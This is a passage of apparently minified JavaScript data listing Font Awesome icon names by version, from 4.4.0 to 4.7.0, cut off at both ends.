"git-square","github","github-alt","github-square","gittip","glass","globe","google","google-plus","google-plus-square","google-wallet","graduation-cap","gratipay","group","h-square","hacker-news","hand-o-down","hand-o-left","hand-o-right","hand-o-up","hdd-o","header","headphones","heart","heart-o","heartbeat","history","home","hospital-o","hotel","html5","ils","image","inbox","indent","info","info-circle","inr","instagram","institution","ioxhost","italic","joomla","jpy","jsfiddle","key","keyboard-o","krw","language","laptop","lastfm","lastfm-square","leaf","leanpub","legal","lemon-o","level-down","level-up","life-bouy","life-buoy","life-ring","life-saver","lightbulb-o","line-chart","link","linkedin","linkedin-square","linux","list","list-alt","list-ol","list-ul","location-arrow","lock","long-arrow-down","long-arrow-left","long-arrow-right","long-arrow-up","magic","magnet","mail-forward","mail-reply","mail-reply-all","male","map-marker","mars","mars-double","mars-stroke","mars-stroke-h","mars-stroke-v","maxcdn","meanpath","medium","medkit","meh-o","mercury","microphone","microphone-slash","minus","minus-circle","minus-square","minus-square-o","mobile","mobile-phone","money","moon-o","mortar-board","motorcycle","music","navicon","neuter","newspaper-o","openid","outdent","pagelines","paint-brush","paper-plane","paper-plane-o","paperclip","paragraph","paste","pause","paw","paypal","pencil","pencil-square","pencil-square-o","phone","phone-square","photo","picture-o","pie-chart","pied-piper","pied-piper-alt","pinterest","pinterest-p","pinterest-square","plane","play","play-circle","play-circle-o","plug","plus","plus-circle","plus-square","plus-square-o","power-off","print","puzzle-piece","qq","qrcode","question","question-circle","quote-left","quote-right","ra","random","rebel","recycle","reddit","reddit-square","refresh","remove","renren","reorder","repeat","reply","reply-all","retweet","rmb","road","rocket","rotate-left","rotate-right","rouble","rss","rss-square","rub","ruble","rupee","save","scissors","search","search-minus","search-plus","sellsy","send","send-o","server","share","share-alt","share-alt-square","share-square","share-square-o","shekel","sheqel","shield","ship","shirtsinbulk","shopping-cart","sign-in","sign-out","signal","simplybuilt","sitemap","skyatlas","skype","slack","sliders","slideshare","smile-o","soccer-ball-o","sort","sort-alpha-asc","sort-alpha-desc","sort-amount-asc","sort-amount-desc","sort-asc","sort-desc","sort-down","sort-numeric-asc","sort-numeric-desc","sort-up","soundcloud","space-shuttle","spinner","spoon","spotify","square","square-o","stack-exchange","stack-overflow","star","star-half","star-half-empty","star-half-full","star-half-o","star-o","steam","steam-square","step-backward","step-forward","stethoscope","stop","street-view","strikethrough","stumbleupon","stumbleupon-circle","subscript","subway","suitcase","sun-o","superscript","support","table","tablet","tachometer","tag","tags","tasks","taxi","tencent-weibo","terminal","text-height","text-width","th","th-large","th-list","thumb-tack","thumbs-down","thumbs-o-down","thumbs-o-up","thumbs-up","ticket","times","times-circle","times-circle-o","tint","toggle-down","toggle-left","toggle-off","toggle-on","toggle-right","toggle-up","train","transgender","transgender-alt","trash","trash-o","tree","trello","trophy","truck","try","tty","tumblr","tumblr-square","turkish-lira","twitch","twitter","twitter-square","umbrella","underline","undo","university","unlink","unlock","unlock-alt","unsorted","upload","usd","user","user-md","user-plus","user-secret","user-times","users","venus","venus-double","venus-mars","viacoin","video-camera","vimeo-square","vine","vk","volume-down","volume-off","volume-up","warning","wechat","weibo","weixin","whatsapp","wheelchair","wifi","windows","won","wordpress","wrench","xing","xing-square","yahoo","yelp","yen","youtube","youtube-play","youtube-square"]},{version:"4.4.0",icons:["","500px","adjust","adn","align-center","align-justify","align-left","align-right","amazon","ambulance","anchor","android","angellist","angle-double-down","angle-double-left","angle-double-right","angle-double-up","angle-down","angle-left","angle-right","angle-up","apple","archive","area-chart","arrow-circle-down","arrow-circle-left","arrow-circle-o-down","arrow-circle-o-left","arrow-circle-o-right","arrow-circle-o-up","arrow-circle-right","arrow-circle-up","arrow-down","arrow-left","arrow-right","arrow-up","arrows","arrows-alt","arrows-h","arrows-v","asterisk","at","automobile","backward","balance-scale","ban","bank","bar-chart","bar-chart-o","barcode","bars","battery-0","battery-1","battery-2","battery-3","battery-4","battery-empty","battery-full","battery-half","battery-quarter","battery-three-quarters","bed","beer","behance","behance-square","bell","bell-o","bell-slash","bell-slash-o","bicycle","binoculars","birthday-cake","bitbucket","bitbucket-square","bitcoin","black-tie","bold","bolt","bomb","book","bookmark","bookmark-o","briefcase","btc","bug","building","building-o","bullhorn","bullseye","bus","buysellads","cab","calculator","calendar","calendar-check-o","calendar-minus-o","calendar-o","calendar-plus-o","calendar-times-o","camera","camera-retro","car","caret-down","caret-left","caret-right","caret-square-o-down","caret-square-o-left","caret-square-o-right","caret-square-o-up","caret-up","cart-arrow-down","cart-plus","cc","cc-amex","cc-diners-club","cc-discover","cc-jcb","cc-mastercard","cc-paypal","cc-stripe","cc-visa","certificate","chain","chain-broken","check","check-circle","check-circle-o","check-square","check-square-o","chevron-circle-down","chevron-circle-left","chevron-circle-right","chevron-circle-up","chevron-down","chevron-left","chevron-right","chevron-up","child","chrome","circle","circle-o","circle-o-notch","circle-thin","clipboard","clock-o","clone","close","cloud","cloud-download","cloud-upload","cny","code","code-fork","codepen","coffee","cog","cogs","columns","comment","comment-o","commenting","commenting-o","comments","comments-o","compass","compress","connectdevelop","contao","copy","copyright","creative-commons","credit-card","crop","crosshairs","css3","cube","cubes","cut","cutlery","dashboard","dashcube","database","dedent","delicious","desktop","deviantart","diamond","digg","dollar","dot-circle-o","download","dribbble","dropbox","drupal","edit","eject","ellipsis-h","ellipsis-v","empire","envelope","envelope-o","envelope-square","eraser","eur","euro","exchange","exclamation","exclamation-circle","exclamation-triangle","expand","expeditedssl","external-link","external-link-square","eye","eye-slash","eyedropper","facebook","facebook-f","facebook-official","facebook-square","fast-backward","fast-forward","fax","feed","female","fighter-jet","file","file-archive-o","file-audio-o","file-code-o","file-excel-o","file-image-o","file-movie-o","file-o","file-pdf-o","file-photo-o","file-picture-o","file-powerpoint-o","file-sound-o","file-text","file-text-o","file-video-o","file-word-o","file-zip-o","files-o","film","filter","fire","fire-extinguisher","firefox","flag","flag-checkered","flag-o","flash","flask","flickr","floppy-o","folder","folder-o","folder-open","folder-open-o","font","fonticons","forumbee","forward","foursquare","frown-o","futbol-o","gamepad","gavel","gbp","ge","gear","gears","genderless","get-pocket","gg","gg-circle","gift","git","git-square","github","github-alt","github-square","gittip","glass","globe","google","google-plus","google-plus-square","google-wallet","graduation-cap","gratipay","group","h-square","hacker-news","hand-grab-o","hand-lizard-o","hand-o-down","hand-o-left","hand-o-right","hand-o-up","hand-paper-o","hand-peace-o","hand-pointer-o","hand-rock-o","hand-scissors-o","hand-spock-o","hand-stop-o","hdd-o","header","headphones","heart","heart-o","heartbeat","history","home","hospital-o","hotel","hourglass","hourglass-1","hourglass-2","hourglass-3","hourglass-end","hourglass-half","hourglass-o","hourglass-start","houzz","html5","i-cursor","ils","image","inbox","indent","industry","info","info-circle","inr","instagram","institution","internet-explorer","intersex","ioxhost","italic","joomla","jpy","jsfiddle","key","keyboard-o","krw","language","laptop","lastfm","lastfm-square","leaf","leanpub","legal","lemon-o","level-down","level-up","life-bouy","life-buoy","life-ring","life-saver","lightbulb-o","line-chart","link","linkedin","linkedin-square","linux","list","list-alt","list-ol","list-ul","location-arrow","lock","long-arrow-down","long-arrow-left","long-arrow-right","long-arrow-up","magic","magnet","mail-forward","mail-reply","mail-reply-all","male","map","map-marker","map-o","map-pin","map-signs","mars","mars-double","mars-stroke","mars-stroke-h","mars-stroke-v","maxcdn","meanpath","medium","medkit","meh-o","mercury","microphone","microphone-slash","minus","minus-circle","minus-square","minus-square-o","mobile","mobile-phone","money","moon-o","mortar-board","motorcycle","mouse-pointer","music","navicon","neuter","newspaper-o","object-group","object-ungroup","odnoklassniki","odnoklassniki-square","opencart","openid","opera","optin-monster","outdent","pagelines","paint-brush","paper-plane","paper-plane-o","paperclip","paragraph","paste","pause","paw","paypal","pencil","pencil-square","pencil-square-o","phone","phone-square","photo","picture-o","pie-chart","pied-piper","pied-piper-alt","pinterest","pinterest-p","pinterest-square","plane","play","play-circle","play-circle-o","plug","plus","plus-circle","plus-square","plus-square-o","power-off","print","puzzle-piece","qq","qrcode","question","question-circle","quote-left","quote-right","ra","random","rebel","recycle","reddit","reddit-square","refresh","registered","remove","renren","reorder","repeat","reply","reply-all","retweet","rmb","road","rocket","rotate-left","rotate-right","rouble","rss","rss-square","rub","ruble","rupee","safari","save","scissors","search","search-minus","search-plus","sellsy","send","send-o","server","share","share-alt","share-alt-square","share-square","share-square-o","shekel","sheqel","shield","ship","shirtsinbulk","shopping-cart","sign-in","sign-out","signal","simplybuilt","sitemap","skyatlas","skype","slack","sliders","slideshare","smile-o","soccer-ball-o","sort","sort-alpha-asc","sort-alpha-desc","sort-amount-asc","sort-amount-desc","sort-asc","sort-desc","sort-down","sort-numeric-asc","sort-numeric-desc","sort-up","soundcloud","space-shuttle","spinner","spoon","spotify","square","square-o","stack-exchange","stack-overflow","star","star-half","star-half-empty","star-half-full","star-half-o","star-o","steam","steam-square","step-backward","step-forward","stethoscope","sticky-note","sticky-note-o","stop","street-view","strikethrough","stumbleupon","stumbleupon-circle","subscript","subway","suitcase","sun-o","superscript","support","table","tablet","tachometer","tag","tags","tasks","taxi","television","tencent-weibo","terminal","text-height","text-width","th","th-large","th-list","thumb-tack","thumbs-down","thumbs-o-down","thumbs-o-up","thumbs-up","ticket","times","times-circle","times-circle-o","tint","toggle-down","toggle-left","toggle-off","toggle-on","toggle-right","toggle-up","trademark","train","transgender","transgender-alt","trash","trash-o","tree","trello","tripadvisor","trophy","truck","try","tty","tumblr","tumblr-square","turkish-lira","tv","twitch","twitter","twitter-square","umbrella","underline","undo","university","unlink","unlock","unlock-alt","unsorted","upload","usd","user","user-md","user-plus","user-secret","user-times","users","venus","venus-double","venus-mars","viacoin","video-camera","vimeo","vimeo-square","vine","vk","volume-down","volume-off","volume-up","warning","wechat","weibo","weixin","whatsapp","wheelchair","wifi","wikipedia-w","windows","won","wordpress","wrench","xing","xing-square","y-combinator","y-combinator-square","yahoo","yc","yc-square","yelp","yen","youtube","youtube-play","youtube-square"]},{version:"4.5.0",icons:["","500px","adjust","adn","align-center","align-justify","align-left","align-right","amazon","ambulance","anchor","android","angellist","angle-double-down","angle-double-left","angle-double-right","angle-double-up","angle-down","angle-left","angle-right","angle-up","apple","archive","area-chart","arrow-circle-down","arrow-circle-left","arrow-circle-o-down","arrow-circle-o-left","arrow-circle-o-right","arrow-circle-o-up","arrow-circle-right","arrow-circle-up","arrow-down","arrow-left","arrow-right","arrow-up","arrows","arrows-alt","arrows-h","arrows-v","asterisk","at","automobile","backward","balance-scale","ban","bank","bar-chart","bar-chart-o","barcode","bars","battery-0","battery-1","battery-2","battery-3","battery-4","battery-empty","battery-full","battery-half","battery-quarter","battery-three-quarters","bed","beer","behance","behance-square","bell","bell-o","bell-slash","bell-slash-o","bicycle","binoculars","birthday-cake","bitbucket","bitbucket-square","bitcoin","black-tie","bluetooth","bluetooth-b","bold","bolt","bomb","book","bookmark","bookmark-o","briefcase","btc","bug","building","building-o","bullhorn","bullseye","bus","buysellads","cab","calculator","calendar","calendar-check-o","calendar-minus-o","calendar-o","calendar-plus-o","calendar-times-o","camera","camera-retro","car","caret-down","caret-left","caret-right","caret-square-o-down","caret-square-o-left","caret-square-o-right","caret-square-o-up","caret-up","cart-arrow-down","cart-plus","cc","cc-amex","cc-diners-club","cc-discover","cc-jcb","cc-mastercard","cc-paypal","cc-stripe","cc-visa","certificate","chain","chain-broken","check","check-circle","check-circle-o","check-square","check-square-o","chevron-circle-down","chevron-circle-left","chevron-circle-right","chevron-circle-up","chevron-down","chevron-left","chevron-right","chevron-up","child","chrome","circle","circle-o","circle-o-notch","circle-thin","clipboard","clock-o","clone","close","cloud","cloud-download","cloud-upload","cny","code","code-fork","codepen","codiepie","coffee","cog","cogs","columns","comment","comment-o","commenting","commenting-o","comments","comments-o","compass","compress","connectdevelop","contao","copy","copyright","creative-commons","credit-card","credit-card-alt","crop","crosshairs","css3","cube","cubes","cut","cutlery","dashboard","dashcube","database","dedent","delicious","desktop","deviantart","diamond","digg","dollar","dot-circle-o","download","dribbble","dropbox","drupal","edge","edit","eject","ellipsis-h","ellipsis-v","empire","envelope","envelope-o","envelope-square","eraser","eur","euro","exchange","exclamation","exclamation-circle","exclamation-triangle","expand","expeditedssl","external-link","external-link-square","eye","eye-slash","eyedropper","facebook","facebook-f","facebook-official","facebook-square","fast-backward","fast-forward","fax","feed","female","fighter-jet","file","file-archive-o","file-audio-o","file-code-o","file-excel-o","file-image-o","file-movie-o","file-o","file-pdf-o","file-photo-o","file-picture-o","file-powerpoint-o","file-sound-o","file-text","file-text-o","file-video-o","file-word-o","file-zip-o","files-o","film","filter","fire","fire-extinguisher","firefox","flag","flag-checkered","flag-o","flash","flask","flickr","floppy-o","folder","folder-o","folder-open","folder-open-o","font","fonticons","fort-awesome","forumbee","forward","foursquare","frown-o","futbol-o","gamepad","gavel","gbp","ge","gear","gears","genderless","get-pocket","gg","gg-circle","gift","git","git-square","github","github-alt","github-square","gittip","glass","globe","google","google-plus","google-plus-square","google-wallet","graduation-cap","gratipay","group","h-square","hacker-news","hand-grab-o","hand-lizard-o","hand-o-down","hand-o-left","hand-o-right","hand-o-up","hand-paper-o","hand-peace-o","hand-pointer-o","hand-rock-o","hand-scissors-o","hand-spock-o","hand-stop-o","hashtag","hdd-o","header","headphones","heart","heart-o","heartbeat","history","home","hospital-o","hotel","hourglass","hourglass-1","hourglass-2","hourglass-3","hourglass-end","hourglass-half","hourglass-o","hourglass-start","houzz","html5","i-cursor","ils","image","inbox","indent","industry","info","info-circle","inr","instagram","institution","internet-explorer","intersex","ioxhost","italic","joomla","jpy","jsfiddle","key","keyboard-o","krw","language","laptop","lastfm","lastfm-square","leaf","leanpub","legal","lemon-o","level-down","level-up","life-bouy","life-buoy","life-ring","life-saver","lightbulb-o","line-chart","link","linkedin","linkedin-square","linux","list","list-alt","list-ol","list-ul","location-arrow","lock","long-arrow-down","long-arrow-left","long-arrow-right","long-arrow-up","magic","magnet","mail-forward","mail-reply","mail-reply-all","male","map","map-marker","map-o","map-pin","map-signs","mars","mars-double","mars-stroke","mars-stroke-h","mars-stroke-v","maxcdn","meanpath","medium","medkit","meh-o","mercury","microphone","microphone-slash","minus","minus-circle","minus-square","minus-square-o","mixcloud","mobile","mobile-phone","modx","money","moon-o","mortar-board","motorcycle","mouse-pointer","music","navicon","neuter","newspaper-o","object-group","object-ungroup","odnoklassniki","odnoklassniki-square","opencart","openid","opera","optin-monster","outdent","pagelines","paint-brush","paper-plane","paper-plane-o","paperclip","paragraph","paste","pause","pause-circle","pause-circle-o","paw","paypal","pencil","pencil-square","pencil-square-o","percent","phone","phone-square","photo","picture-o","pie-chart","pied-piper","pied-piper-alt","pinterest","pinterest-p","pinterest-square","plane","play","play-circle","play-circle-o","plug","plus","plus-circle","plus-square","plus-square-o","power-off","print","product-hunt","puzzle-piece","qq","qrcode","question","question-circle","quote-left","quote-right","ra","random","rebel","recycle","reddit","reddit-alien","reddit-square","refresh","registered","remove","renren","reorder","repeat","reply","reply-all","retweet","rmb","road","rocket","rotate-left","rotate-right","rouble","rss","rss-square","rub","ruble","rupee","safari","save","scissors","scribd","search","search-minus","search-plus","sellsy","send","send-o","server","share","share-alt","share-alt-square","share-square","share-square-o","shekel","sheqel","shield","ship","shirtsinbulk","shopping-bag","shopping-basket","shopping-cart","sign-in","sign-out","signal","simplybuilt","sitemap","skyatlas","skype","slack","sliders","slideshare","smile-o","soccer-ball-o","sort","sort-alpha-asc","sort-alpha-desc","sort-amount-asc","sort-amount-desc","sort-asc","sort-desc","sort-down","sort-numeric-asc","sort-numeric-desc","sort-up","soundcloud","space-shuttle","spinner","spoon","spotify","square","square-o","stack-exchange","stack-overflow","star","star-half","star-half-empty","star-half-full","star-half-o","star-o","steam","steam-square","step-backward","step-forward","stethoscope","sticky-note","sticky-note-o","stop","stop-circle","stop-circle-o","street-view","strikethrough","stumbleupon","stumbleupon-circle","subscript","subway","suitcase","sun-o","superscript","support","table","tablet","tachometer","tag","tags","tasks","taxi","television","tencent-weibo","terminal","text-height","text-width","th","th-large","th-list","thumb-tack","thumbs-down","thumbs-o-down","thumbs-o-up","thumbs-up","ticket","times","times-circle","times-circle-o","tint","toggle-down","toggle-left","toggle-off","toggle-on","toggle-right","toggle-up","trademark","train","transgender","transgender-alt","trash","trash-o","tree","trello","tripadvisor","trophy","truck","try","tty","tumblr","tumblr-square","turkish-lira","tv","twitch","twitter","twitter-square","umbrella","underline","undo","university","unlink","unlock","unlock-alt","unsorted","upload","usb","usd","user","user-md","user-plus","user-secret","user-times","users","venus","venus-double","venus-mars","viacoin","video-camera","vimeo","vimeo-square","vine","vk","volume-down","volume-off","volume-up","warning","wechat","weibo","weixin","whatsapp","wheelchair","wifi","wikipedia-w","windows","won","wordpress","wrench","xing","xing-square","y-combinator","y-combinator-square","yahoo","yc","yc-square","yelp","yen","youtube","youtube-play","youtube-square"]
},{version:"4.6.0",icons:["","500px","adjust","adn","align-center","align-justify","align-left","align-right","amazon","ambulance","american-sign-language-interpreting","anchor","android","angellist","angle-double-down","angle-double-left","angle-double-right","angle-double-up","angle-down","angle-left","angle-right","angle-up","apple","archive","area-chart","arrow-circle-down","arrow-circle-left","arrow-circle-o-down","arrow-circle-o-left","arrow-circle-o-right","arrow-circle-o-up","arrow-circle-right","arrow-circle-up","arrow-down","arrow-left","arrow-right","arrow-up","arrows","arrows-alt","arrows-h","arrows-v","asl-interpreting","assistive-listening-systems","asterisk","at","audio-description","automobile","backward","balance-scale","ban","bank","bar-chart","bar-chart-o","barcode","bars","battery-0","battery-1","battery-2","battery-3","battery-4","battery-empty","battery-full","battery-half","battery-quarter","battery-three-quarters","bed","beer","behance","behance-square","bell","bell-o","bell-slash","bell-slash-o","bicycle","binoculars","birthday-cake","bitbucket","bitbucket-square","bitcoin","black-tie","blind","bluetooth","bluetooth-b","bold","bolt","bomb","book","bookmark","bookmark-o","braille","briefcase","btc","bug","building","building-o","bullhorn","bullseye","bus","buysellads","cab","calculator","calendar","calendar-check-o","calendar-minus-o","calendar-o","calendar-plus-o","calendar-times-o","camera","camera-retro","car","caret-down","caret-left","caret-right","caret-square-o-down","caret-square-o-left","caret-square-o-right","caret-square-o-up","caret-up","cart-arrow-down","cart-plus","cc","cc-amex","cc-diners-club","cc-discover","cc-jcb","cc-mastercard","cc-paypal","cc-stripe","cc-visa","certificate","chain","chain-broken","check","check-circle","check-circle-o","check-square","check-square-o","chevron-circle-down","chevron-circle-left","chevron-circle-right","chevron-circle-up","chevron-down","chevron-left","chevron-right","chevron-up","child","chrome","circle","circle-o","circle-o-notch","circle-thin","clipboard","clock-o","clone","close","cloud","cloud-download","cloud-upload","cny","code","code-fork","codepen","codiepie","coffee","cog","cogs","columns","comment","comment-o","commenting","commenting-o","comments","comments-o","compass","compress","connectdevelop","contao","copy","copyright","creative-commons","credit-card","credit-card-alt","crop","crosshairs","css3","cube","cubes","cut","cutlery","dashboard","dashcube","database","deaf","deafness","dedent","delicious","desktop","deviantart","diamond","digg","dollar","dot-circle-o","download","dribbble","dropbox","drupal","edge","edit","eject","ellipsis-h","ellipsis-v","empire","envelope","envelope-o","envelope-square","envira","eraser","eur","euro","exchange","exclamation","exclamation-circle","exclamation-triangle","expand","expeditedssl","external-link","external-link-square","eye","eye-slash","eyedropper","facebook","facebook-f","facebook-official","facebook-square","fast-backward","fast-forward","fax","feed","female","fighter-jet","file","file-archive-o","file-audio-o","file-code-o","file-excel-o","file-image-o","file-movie-o","file-o","file-pdf-o","file-photo-o","file-picture-o","file-powerpoint-o","file-sound-o","file-text","file-text-o","file-video-o","file-word-o","file-zip-o","files-o","film","filter","fire","fire-extinguisher","firefox","flag","flag-checkered","flag-o","flash","flask","flickr","floppy-o","folder","folder-o","folder-open","folder-open-o","font","fonticons","fort-awesome","forumbee","forward","foursquare","frown-o","futbol-o","gamepad","gavel","gbp","ge","gear","gears","genderless","get-pocket","gg","gg-circle","gift","git","git-square","github","github-alt","github-square","gitlab","gittip","glass","glide","glide-g","globe","google","google-plus","google-plus-square","google-wallet","graduation-cap","gratipay","group","h-square","hacker-news","hand-grab-o","hand-lizard-o","hand-o-down","hand-o-left","hand-o-right","hand-o-up","hand-paper-o","hand-peace-o","hand-pointer-o","hand-rock-o","hand-scissors-o","hand-spock-o","hand-stop-o","hard-of-hearing","hashtag","hdd-o","header","headphones","heart","heart-o","heartbeat","history","home","hospital-o","hotel","hourglass","hourglass-1","hourglass-2","hourglass-3","hourglass-end","hourglass-half","hourglass-o","hourglass-start","houzz","html5","i-cursor","ils","image","inbox","indent","industry","info","info-circle","inr","instagram","institution","internet-explorer","intersex","ioxhost","italic","joomla","jpy","jsfiddle","key","keyboard-o","krw","language","laptop","lastfm","lastfm-square","leaf","leanpub","legal","lemon-o","level-down","level-up","life-bouy","life-buoy","life-ring","life-saver","lightbulb-o","line-chart","link","linkedin","linkedin-square","linux","list","list-alt","list-ol","list-ul","location-arrow","lock","long-arrow-down","long-arrow-left","long-arrow-right","long-arrow-up","low-vision","magic","magnet","mail-forward","mail-reply","mail-reply-all","male","map","map-marker","map-o","map-pin","map-signs","mars","mars-double","mars-stroke","mars-stroke-h","mars-stroke-v","maxcdn","meanpath","medium","medkit","meh-o","mercury","microphone","microphone-slash","minus","minus-circle","minus-square","minus-square-o","mixcloud","mobile","mobile-phone","modx","money","moon-o","mortar-board","motorcycle","mouse-pointer","music","navicon","neuter","newspaper-o","object-group","object-ungroup","odnoklassniki","odnoklassniki-square","opencart","openid","opera","optin-monster","outdent","pagelines","paint-brush","paper-plane","paper-plane-o","paperclip","paragraph","paste","pause","pause-circle","pause-circle-o","paw","paypal","pencil","pencil-square","pencil-square-o","percent","phone","phone-square","photo","picture-o","pie-chart","pied-piper","pied-piper-alt","pinterest","pinterest-p","pinterest-square","plane","play","play-circle","play-circle-o","plug","plus","plus-circle","plus-square","plus-square-o","power-off","print","product-hunt","puzzle-piece","qq","qrcode","question","question-circle","question-circle-o","quote-left","quote-right","ra","random","rebel","recycle","reddit","reddit-alien","reddit-square","refresh","registered","remove","renren","reorder","repeat","reply","reply-all","retweet","rmb","road","rocket","rotate-left","rotate-right","rouble","rss","rss-square","rub","ruble","rupee","safari","save","scissors","scribd","search","search-minus","search-plus","sellsy","send","send-o","server","share","share-alt","share-alt-square","share-square","share-square-o","shekel","sheqel","shield","ship","shirtsinbulk","shopping-bag","shopping-basket","shopping-cart","sign-in","sign-language","sign-out","signal","signing","simplybuilt","sitemap","skyatlas","skype","slack","sliders","slideshare","smile-o","snapchat","snapchat-ghost","snapchat-square","soccer-ball-o","sort","sort-alpha-asc","sort-alpha-desc","sort-amount-asc","sort-amount-desc","sort-asc","sort-desc","sort-down","sort-numeric-asc","sort-numeric-desc","sort-up","soundcloud","space-shuttle","spinner","spoon","spotify","square","square-o","stack-exchange","stack-overflow","star","star-half","star-half-empty","star-half-full","star-half-o","star-o","steam","steam-square","step-backward","step-forward","stethoscope","sticky-note","sticky-note-o","stop","stop-circle","stop-circle-o","street-view","strikethrough","stumbleupon","stumbleupon-circle","subscript","subway","suitcase","sun-o","superscript","support","table","tablet","tachometer","tag","tags","tasks","taxi","television","tencent-weibo","terminal","text-height","text-width","th","th-large","th-list","thumb-tack","thumbs-down","thumbs-o-down","thumbs-o-up","thumbs-up","ticket","times","times-circle","times-circle-o","tint","toggle-down","toggle-left","toggle-off","toggle-on","toggle-right","toggle-up","trademark","train","transgender","transgender-alt","trash","trash-o","tree","trello","tripadvisor","trophy","truck","try","tty","tumblr","tumblr-square","turkish-lira","tv","twitch","twitter","twitter-square","umbrella","underline","undo","universal-access","university","unlink","unlock","unlock-alt","unsorted","upload","usb","usd","user","user-md","user-plus","user-secret","user-times","users","venus","venus-double","venus-mars","viacoin","viadeo","viadeo-square","video-camera","vimeo","vimeo-square","vine","vk","volume-control-phone","volume-down","volume-off","volume-up","warning","wechat","weibo","weixin","whatsapp","wheelchair","wheelchair-alt","wifi","wikipedia-w","windows","won","wordpress","wpbeginner","wpforms","wrench","xing","xing-square","y-combinator","y-combinator-square","yahoo","yc","yc-square","yelp","yen","youtube","youtube-play","youtube-square"]},{version:"4.7.0",icons:["","500px","address-book","address-book-o","address-card","address-card-o","adjust","adn","align-center","align-justify","align-left","align-right","amazon","ambulance","american-sign-language-interpreting","anchor","android","angellist","angle-double-down","angle-double-left","angle-double-right","angle-double-up","angle-down","angle-left","angle-right","angle-up","apple","archive","area-chart","arrow-circle-down","arrow-circle-left","arrow-circle-o-down","arrow-circle-o-left","arrow-circle-o-right","arrow-circle-o-up","arrow-circle-right","arrow-circle-up","arrow-down","arrow-left","arrow-right","arrow-up","arrows","arrows-alt","arrows-h","arrows-v","asl-interpreting","assistive-listening-systems","asterisk","at","audio-description","automobile","backward","balance-scale","ban","bandcamp","bank","bar-chart","bar-chart-o","barcode","bars","bath","bathtub","battery","battery-0","battery-1","battery-2","battery-3","battery-4","battery-empty","battery-full","battery-half","battery-quarter","battery-three-quarters","bed","beer","behance","behance-square","bell","bell-o","bell-slash","bell-slash-o","bicycle","binoculars","birthday-cake","bitbucket","bitbucket-square","bitcoin","black-tie","blind","bluetooth","bluetooth-b","bold","bolt","bomb","book","bookmark","bookmark-o","braille","briefcase","btc","bug","building","building-o","bullhorn","bullseye","bus","buysellads","cab","calculator","calendar","calendar-check-o","calendar-minus-o","calendar-o","calendar-plus-o","calendar-times-o","camera","camera-retro","car","caret-down","caret-left","caret-right","caret-square-o-down","caret-square-o-left","caret-square-o-right","caret-square-o-up","caret-up","cart-arrow-down","cart-plus","cc","cc-amex","cc-diners-club","cc-discover","cc-jcb","cc-mastercard","cc-paypal","cc-stripe","cc-visa","certificate","chain","chain-broken","check","check-circle","check-circle-o","check-square","check-square-o","chevron-circle-down","chevron-circle-left","chevron-circle-right","chevron-circle-up","chevron-down","chevron-left","chevron-right","chevron-up","child","chrome","circle","circle-o","circle-o-notch","circle-thin","clipboard","clock-o","clone","close","cloud","cloud-download","cloud-upload","cny","code","code-fork","codepen","codiepie","coffee","cog","cogs","columns","comment","comment-o","commenting","commenting-o","comments","comments-o","compass","compress","connectdevelop","contao","copy","copyright","creative-commons","credit-card","credit-card-alt","crop","crosshairs","css3","cube","cubes","cut","cutlery","dashboard","dashcube","database","deaf","deafness","dedent","delicious","desktop","deviantart","diamond","digg","dollar","dot-circle-o","download","dribbble","drivers-license","drivers-license-o","dropbox","drupal","edge","edit","eercast","eject","ellipsis-h","ellipsis-v","empire","envelope","envelope-o","envelope-open","envelope-open-o","envelope-square","envira","eraser","etsy","eur","euro","exchange","exclamation","exclamation-circle","exclamation-triangle","expand","expeditedssl","external-link","external-link-square","eye","eye-slash","eyedropper","fa","facebook","facebook-f","facebook-official","facebook-square","fast-backward","fast-forward","fax","feed","female","fighter-jet","file","file-archive-o","file-audio-o","file-code-o","file-excel-o","file-image-o","file-movie-o","file-o","file-pdf-o","file-photo-o","file-picture-o","file-powerpoint-o","file-sound-o","file-text","file-text-o","file-video-o","file-word-o","file-zip-o","files-o","film","filter","fire","fire-extinguisher","firefox","first-order","flag","flag-checkered","flag-o","flash","flask","flickr","floppy-o","folder","folder-o","folder-open","folder-open-o","font","font-awesome","fonticons","fort-awesome","forumbee","forward","foursquare","free-code-camp","frown-o","futbol-o","gamepad","gavel","gbp","ge","gear","gears","genderless","get-pocket","gg","gg-circle","gift","git","git-square","github","github-alt","github-square","gitlab","gittip","glass","glide","glide-g","globe","google","google-plus","google-plus-circle","google-plus-official","google-plus-square","google-wallet","graduation-cap","gratipay","grav","group","h-square","hacker-news","hand-grab-o","hand-lizard-o","hand-o-down","hand-o-left","hand-o-right","hand-o-up","hand-paper-o","hand-peace-o","hand-pointer-o","hand-rock-o","hand-scissors-o","hand-spock-o","hand-stop-o","handshake-o","hard-of-hearing","hashtag","hdd-o","header","headphones","heart","heart-o","heartbeat","history","home","hospital-o","hotel","hourglass","hourglass-1","hourglass-2","hourglass-3","hourglass-end","hourglass-half","hourglass-o","hourglass-start","houzz","html5","i-cursor","id-badge","id-card","id-card-o","ils","image","imdb","inbox","indent","industry","info","info-circle","inr","instagram","institution","internet-explorer","intersex","ioxhost","italic","joomla","jpy","jsfiddle","key","keyboard-o","krw","language","laptop","lastfm","lastfm-square","leaf","leanpub","legal","lemon-o","level-down","level-up","life-bouy","life-buoy","life-ring","life-saver","lightbulb-o","line-chart","link","linkedin","linkedin-square","linode","linux","list","list-alt","list-ol","list-ul","location-arrow","lock","long-arrow-down","long-arrow-left","long-arrow-right","long-arrow-up","low-vision","magic","magnet","mail-forward","mail-reply","mail-reply-all","male","map","map-marker","map-o","map-pin","map-signs","mars","mars-double","mars-stroke","mars-stroke-h","mars-stroke-v","maxcdn","meanpath","medium","medkit","meetup","meh-o","mercury","microchip","microphone","microphone-slash","minus","minus-circle","minus-square","minus-square-o","mixcloud","mobile","mobile-phone","modx","money","moon-o","mortar-board","motorcycle","mouse-pointer","music","navicon","neuter","newspaper-o","object-group","object-ungroup","odnoklassniki","odnoklassniki-square","opencart","openid","opera","optin-monster","outdent","pagelines","paint-brush","paper-plane","paper-plane-o","paperclip","paragraph","paste","pause","pause-circle","pause-circle-o","paw","paypal","pencil","pencil-square","pencil-square-o","percent","phone","phone-square","photo","picture-o","pie-chart","pied-piper","pied-piper-alt","pied-piper-pp","pinterest","pinterest-p","pinterest-square","plane","play","play-circle","play-circle-o","plug","plus","plus-circle","plus-square","plus-square-o","podcast","power-off","print","product-hunt","puzzle-piece","qq","qrcode","question","question-circle","question-circle-o","quora","quote-left","quote-right","ra","random","ravelry","rebel","recycle","reddit","reddit-alien","reddit-square","refresh","registered","remove","renren","reorder","repeat","reply","reply-all","resistance","retweet","rmb","road","rocket","rotate-left","rotate-right","rouble","rss","rss-square","rub","ruble","rupee","s15"